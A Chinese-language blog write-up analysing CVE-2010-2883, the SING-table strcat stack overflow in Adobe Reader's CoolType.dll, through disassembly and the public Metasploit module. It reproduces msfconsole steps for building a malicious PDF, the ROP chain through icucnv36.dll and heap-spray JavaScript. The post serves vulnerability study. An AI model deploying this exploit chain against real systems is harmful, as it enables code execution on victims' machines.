CVE-2010-2883 漏洞研究

7erry

CVE-2010-2883 是 Adobe Reader 和 Acrobat 中的 CoolType.dll 库在解析字体文件 SING 表中的 uniqueName 项时存在的栈溢出漏洞,用户受骗打开了特制的 PDF 文件就有可能导致任意代码执行。这种”打开 PDF 即刻中招”的效果堪称”简单暴力”的典范,也使其作为漏洞而言非常经典

影响范围:
Adobe Reader 8.2.4 - 9.3.4

TTF 结构与 SING 表结构

一个 PDF(Portable Document Format)文件在文件结构上主要由四个部分组成

  • Header 文件头,用于注明 PDF 文件的版本号,其值为 %PDF-版本号
  • Body 文件体,主要有组成文件的对象组成,如图片,文字等
  • Cross-reference table 交叉引用表,用于存放所有对象的位置偏移,可以方便地访问 PDF 中的任意对象
  • Trailer 文件尾,给出了交叉引用表的位置和一些关键对象的信息,以 %%EOF 结尾

PDF Body 可以被视作一个树状的层次结构,其中的每一个结点都是一个对象,由其根节点 Document Catalog 开始,其节点包括了文档的内容(Page Tree),纲要(Outline)等等属性。在 PDF 中会包含字体对象,它的内容是一个 TTF 字体文件

一个 TTF 文件(The TrueType Font File)由一个表目录与一系列的表组成,表目录 Font Directory 记录了整个文件以及各个表的信息,其记录的每张表目录项的结构如下

1
2
3
4
5
6
7
typedef struct
{
char tag[4]; # 表标识
ULONG checkSum; # 校验和
ULONG offset; # 实表偏移
ULONG length; # 实表长度
} TableEntry;

每一张表都有一个四字节大小的标签,SING(Smart INdependent Glyphlets,智能独立字形包)则是这些标签之一。SING 技术是Adobe公司推出的针对“外字”(Gaiji)的解决方案,外字是日语中的意思,中文中就是生僻字的意思。的意思。SING 允许用户创建新字形,每个新字形作为一个独立的字体打包。这样打包出来的字形称为字形包(glyphlet)。这一规范允许字形包随同文件一起传送,这样包含SING字符的文件也是可携带的,而又不会字符乱码、异常显示。SING 表目录项的结构体值往往为

1
2
3
4
5
6
7
TableEntry
{
char tag[4] = "SING";
ULONG checkSum = 0xD9BCC8B5;
ULONG offset = 0x0000011c;
ULONG length = 0x00001DDF;
}

TrueType字体中的所有数据都使用big-endian编码,最高位字节在最前面(因为TrueType字体最初是由apple公司定义的,而apple公司的os运行在motorola的cpu上)。

而一个 SING 表的内容的数据结构则如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define FORMAT_SING_H
#define SING_VERSION VERSION(1, 1)
#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16

typedef struct
{
Card16 tableVersionMajor; // Card16 即 USHORT
Card16 tableVersionMinor;
Card16 glyphletVersion;
Card16 permissions;
Card16 mainGID;
Card16 unitsPerEm;
Int16 vertAdvance;
Int16 vertOrigin;
Card8 uniqueName[SING_UNIQUENAMELEN]; // Card8 即 BYTE
Card8 METAMD5[SING_MD5LEN];
Card8 nameLength;
Card8 *baseGlyphName;
} SINGTbl;

其中 uniqueName 字段需要记住,因为这与该漏洞的利用密切相关

漏洞分析

使用 IDA 打开 CoolType.dll 库,从漏洞描述可知漏洞代码引用了 SING 字符串,这意味着攻击者可以直接采用基于字符串定位的分析方法,即搜索 “SING” 字符串并查看交叉引用,便能够定位到这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
.rdata:0819DB4C aSing           db 'SING',0             ; DATA XREF: sub_8015AD9+D2↑o
.rdata:0819DB4C ; sub_803DCF9+7B↑o ...
.rdata:0819DB51 align 4
...
.text:0803DCF9 push ebp ; 父函数ebp
.text:0803DCFA sub esp, 104h ; 分配栈空间0x104
.text:0803DD00 lea ebp, [esp-4] ; esp-4 赋给 ebp ,而不是 esp-4 处的值赋给 ebp ,后面 strcat 会把执行结果保存在以 ebp 为起始地址的栈空间中
.text:0803DD04 mov eax, ___security_cookie ; security_cookie->eax
.text:0803DD09 xor eax, ebp ; security_cookie^ebp->eax
.text:0803DD0B mov [ebp+108h+var_4], eax ; 将和ebp异或完的 security_cookie 存到栈上父函数 ebp 之前的 4 字节中
.text:0803DD11 push 4Ch ; __EH_prolog3_catch 函数中分配栈空间的大小
.text:0803DD13 mov eax, offset loc_8184A54 ; 调用 __security_check_cookie 函数的代码段起始地址
.text:0803DD18 call __EH_prolog3_catch ; 向栈上写入 SEH 结构
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; 类对象指针(0x0012E718),第一个变量为 dword_823A850 加 1 之前的值。
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ; ecx为字体对象,thiscall,ecx 传参
.text:0803DD7D call sub_8021B06 ; 解析字体对象,处理 SING 表
.text:0803DD82 mov eax, [ebp+108h+var_12C] ; eax 指向 SING 表数据
.text:0803DD85 cmp eax, esi ; 判断是否为空
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ; 这里不跳转
.text:0803DD8D mov ecx, [eax] ; 字体资源版本号0.1,构造样本时小端写入,这里读出就变成了ecx=0x00010000,使其可以顺利执行到 strcat
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ; 这里跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F add eax, 10h ; 相对 SING 表入口偏移 0x10 处找到 uniqueName
.text:0803DDA2 push eax ; char *,strcat 源地址入栈,也就是 uniqueName 起始地址
.text:0803DDA3 lea eax, [ebp+108h+uniqueName_buf] ; 这里将ebp的值作为目的地址,也就是前面所分配的缓冲区的起始地址
.text:0803DDA6 push eax ; char *,strcat 目的地址入栈
.text:0803DDA7 mov [ebp+108h+uniqueName_buf], 0 ; 将目标字符串赋值为NULL,空字符串
.text:0803DDAB call strcat ; 危险函数 strcat,罪魁祸首

反编译后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sub_80217D7(v20,a1,"name");
if ( v20[0] )
goto LABEL_12;
sub_8021B06(v18,a1,"SING");
v6 = v18;
LOBYTE(v22) = 2;
if ( v18 )
{
if !(unsigned __int16)*(_DWORD *)v18 || (unsigned __int16)*(_DWORD *)v18 == 256
{
Destination[0] = 0;
strcat(Destination, (const char *)(v18 + 0x10));
sub_8001243(Destination);
v6 = v18;
}
v21 = 1;
}

它首先会读取 SING 表,之后将 SING 表中 0x10 偏移处(即 UniqueName 字段)通过调用 strcat 函数直接拼接到 Destination 中,而 strcat 函数会将参数 src 字符串复制到参数 dest 所指的字符串尾部,src 字符串的拷贝从第一个字符开始,直到遇到 “\x00” 时结束。这一函数调用过程没有检验拼接的字符串的长度,即未考虑拼接后的字符串超度是否会超出 dest 字符串长度,故存在栈溢出漏洞,攻击者可通过在 TTF 文件的 SING 表的 uniqueName 字段处(0x10 偏移位置)填入任意长度的字符串实施栈溢出攻击

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2010-2883

搜索结果

1
2
3
4
5
6
7
8
9
10
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/adobe_cooltype_sing 2010-09-07 great No Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
1 exploit/windows/fileformat/adobe_cooltype_sing 2010-09-07 great No Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_cooltype_sing

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
       Name: Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
Module: exploit/windows/fileformat/adobe_cooltype_sing
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-09-07

Provided by:
Unknown
sn0wfl0w
jduck <jduck@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Automatic

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.

Payload information:
Space: 1000
Avoid: 1 characters

Description:
This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are
assumed to be vulnerable as well.

References:
https://nvd.nist.gov/vuln/detail/CVE-2010-2883
OSVDB (67849)
http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html
http://www.adobe.com/support/security/advisories/apsa10-02.html


View the full module info with the info -d command.

使用该模块生成木马 PDF 文件

1
2
3
4
msf6  exploit(adobe_cooltype_sing) > set FILENAME Crash.pdf
msf6 exploit(adobe_cooltype_sing) > set payload windows/exec
msf6 exploit(adobe_cooltype_sing) > set CMD calc.exe
msf6 exploit(adobe_cooltype_sing) > exploit

Exploit 分析

Exploit 代码概览

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb

让我们来看看这个 exp 是如何进行漏洞利用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof

include Msf::Exploit::FILEFORMAT

#* 初始化函数,注明了 exp 的模块信息
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => ...,
'Version' => '$Revision: 10477 $',
'References' => ...,
'DefaultOptions' => ...,
'Payload' => ...,
'Platform' => 'win',
'Targets' => ...,
'DisclosureDate' => 'Sep 07 2010',
'DefaultTarget' => 0)
)

register_options(...)
end

#* 漏洞利用的入口函数
def exploit
ttf_data = make_ttf()
js_data = make_js(payload.encoded)
pdf = make_pdf(ttf_data, js_data)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end

#* 构造 TTF 文件
def make_ttf
...
end

#* 构造 JS 文件
def make_js
...
end

#* 随机生成指定长度非 ASCII 码字符序列
def RandomNonASCIIString(count)
...
end

#* 为木马 PDF 文件生成对象定义的起始部分
def ioDef(id)
...
end

#* 为木马 PDF 文件生成对象引用
def ioRef(id)
...
end

#* 随机替换大写字母为 16 进制表示以混淆字符串
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
...
end

#* 将字符串编码为 16 进制并用随机数量的空格分隔
def ASCIIHexWhitespaceEncode(str)
...
end

#* 生成木马 PDF 文件
def make_pdf(ttf, js)
...
end

通过审计 exploit 函数,我们能够很快地理解这个 exp 工作的大体流程是生成恶意的 ttf 与 js 文件,把它们封装到木马 pdf 文件中并导出 pdf 到本地。忽略制作 pdf 文件与增加 payload 随机性进行混淆的相关函数,exp 进行漏洞利用的核心代码显然位于 make_ttf 与 make_js 两个函数中。由于栈溢出是由 ttf 文件中的中的 payload 触发的,因此我们先从 make_ttf 函数开始审计

make_ttf 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def make_ttf
ttf_data = ""

# load the static ttf file

#* Exp 使用的基础文件即下方原注释所标注的 ttf 文件,exp 只需要对基础文件进行修改注入 payload 即可
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
ttf_data = fd.read(fd.stat.size)
fd.close

# Build the SING table
#* 初始化 sing 字符串
sing = ''
#* 生成 SING 表 uniqueName 字段前的八个字段的值
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv')
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#* 生成长度为 0x254 - sing 字符串长度的随机字符串用于增加 payload 随机性
#* 为方便动态分析时定位 payload 可改为
#* sing << "A" * (0x254 - sing.length)
sing << rand_text(0x254 - sing.length)

# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')

# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')

# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')

# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')

#* 将 payload 插入到基础文件的指定位置
ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing

ttf_data
end

查看基础文件的 0xec 与 0x11c 处,发现这两处其实是基础文件的 name 表。make_ttf 函数的实际工作流程就是把基础文件的 NAME 表 tag 改为了 SING,并用包含了 Payload 的 sing 字符串的内容替换了基础文件的 NAME 表内容。查看导出的 TTF 文件能够发现该文件中不存在 NAME 表,与上述结论相符合。接下来让我们仔细审计 uniqueName 字段中填入的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

#* 第一个 ROP Gadget 位于 icucnv36.dll 中的 0x4A80CB38 处
#* gadget 内容是
#* add ebp, 0x794 ;此时 ebp 的值会被调整到 strcat 函数调用后的栈区
#* leave
#* ret ; 执行第二条 gadget
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')

#* 第二个 ROP Gadget 位于 icucnv36.dll 中的 0x4A82A714 处
#* gadget 内容为
#* pop esp ; 使下方 ruby 代码填入的值成为 esp
#* ret
# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')

# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')

#* 参考链接 2010.09.09 - VUPEN 的文章给出了这个数据的作用
# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')

以上代码设置了一条 ROP 链,用于劫持执行流到 Heap Spray 的用于绕过 DEP 的 payload 处,如下图所示(图来自 Sp4n9x 的博客

ROP Flow

其中的 ROP Gadget 选择了 icucnv36.dll 中的指令,选择这两处地址中的指令的原因在于,如果打开 icucnv36.dll,会发现其 IMAGE_OPTIONAL_HEADER 中的IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 的值为 0,也就是说这个 dll 库没有开启 ASLR。事实上,在 Adobe Reader 的各个版本上,这个库应该都基于 Adobe 的某种需要而始终没有开启 ASLR。这使得该 exp 对受影响的各版本 Adobe Reader 都能够稳定且兼容地进行漏洞利用

make_js 函数

既然 ttf 文件中的 payload 是用来跳转到真正的执行 shellcode 的 payload 上的,后者存在的位置也就只能是在 make_js 函数里了。事实上,在审计 exploit ruby 代码时就能够非常容易发现 make_js 函数里存放的大量 payload。接下来审计 make_js 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
    def make_js(encoded_payload)

#* stack_data 字符串存放了利用 shellcode 所需的 payload
# The following executes a ret2lib using icucnv36.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
#* stack_data 内容较长下文再审计,此处用 ... 略过
stack_data = [
...
].pack('V*')

var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)

var_start = rand_text_alpha(rand(100) + 1)

var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)

payload_buf = ''
payload_buf << stack_data
#* 可以发现 shellcode 紧跟在 stack_data 后
payload_buf << encoded_payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

js
end

make_js 需要接受一段加密后的 shellcode 作为参数,这段 shellcode 将会经过 make_js 函数的处理后被执行。可以发现 exp 在讲 shellcode 存入 payload_buf 前,先向 payload_buf 中存入了 stack_data 内的 payload,对其进行审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
0x41414141,   # unused 用于补齐堆块内容长度占用的 4B
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx

0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as

0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)

# -- call CreateFileA
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify

#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA)

# -- call CreateFileMappingA
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0xffffffff, # arguments to CreateFileMappingA, hFile
0x00000000, # lpAttributes
0x00000040, # flProtect
0x00000000, # dwMaximumSizeHigh
0x00010000, # dwMaximumSizeLow
0x00000000, # lpName

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile)

# -- call MapViewOfFile
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0xffffffff, # args to MapViewOfFile - hFileMappingObject
0x00000022, # dwDesiredAccess
0x00000000, # dwFileOffsetHigh
0x00000000, # dwFileOffsetLow
0x00010000, # dwNumberOfBytesToMap

0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer

0x4a802196, # mov [ecx],eax / ret - save map base addr

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr

0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

0x4a801f90, # pop eax / ret
0x00000034, # becomes eax

0x4a80d585, # add eax,edx / ret

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy)

# -- call memcpy
0x4a80b692, # jmp [eax]

0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst)
0xffffffff, # becomes second arg to memcpy (src)
0x00001000, # becomes third arg to memcpy (length)
#0x0000258b, # ??
#0x4d4d4a8a, # ??

这段 payload 同样包含了一条 ROP 链,且其中的 ROP Gadget 均位于未开启 ASLR 的 icucnv36.dll 库中,其执行内容为调用四个函数,分别是

  • CreateFileA 创建一个文件或设备,payload 创建了一个名为iso88591的文件,且该文件可读可写可执行
  • CreateFileMappingA 创建文件映射内核对象,文件与物理页映射,payload 将创建的文件映射到了物理内存地址
  • MapViewOfFile 将一个文件映射对象映射到当前应用程序的地址空间。payload 将创建的文件映射到了程序所处的虚拟内存地址空间
  • memcpy 将源地址的内容复制到目的地址,payload 将 0x1000 字节

即通过前三个函数创建一个可读可写的内存段,并将 shellcode 复制到该内存段中,进而绕过 DEP 执行 shellcode。
在这之后,exp 创建了一段 JavaScrip 代码,并将上述 payload 及 shellcode 封装到了 JS 代码中,其中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)

用于封装 payload 的格式化 JS 代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 重命名函数
var #{var_unescape} = unescape;
// 编码 payload
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
// 不断拼接 #{var_c} 确保其足够大
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
// 拼接 shellcode 到 #{var_b} 的末尾
#{var_b} += #{var_shellcode};
// 拼接 #{var_c} 到 #{var_b} 的末尾
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
// 不断拼接 #{var_d} 确保其足够大
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
// Heap Spray
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";

填充后的 JS 代码和 TTF 文件一同被封装到木马 PDF 文件中,并被传播给攻击目标

漏洞修复

Adobe Reader v9.4.0 修复了这个漏洞,其中 CoolType.dll 从 v5.5.72.1 更新到了 v5.5.73.1,区别在于 strcat 函数加入了长度检查,令人感慨

Reference

NVD - CVE-2010-2883
CVE - CVE-2010-2883
漏洞战争
Adobe Official Document
没有比我更详细的CVE-2010-2883分析了
TTF Document
SING Table Definition
sp4n9x’s Blog
2010.09.09 - VUPEN - Criminals Are Getting Smarter: Analysis of the Adobe Acrobat/Reader 0-Day Exploit

  • Title: CVE-2010-2883 漏洞研究
  • Author: 7erry
  • Created at : 2024-08-11 19:28:31
  • Updated at : 2024-08-11 19:28:31
  • Link: http://7erry.com/2024/08/11/CVE-2010-2883-漏洞研究/
  • License: This work is licensed under CC BY-NC 4.0.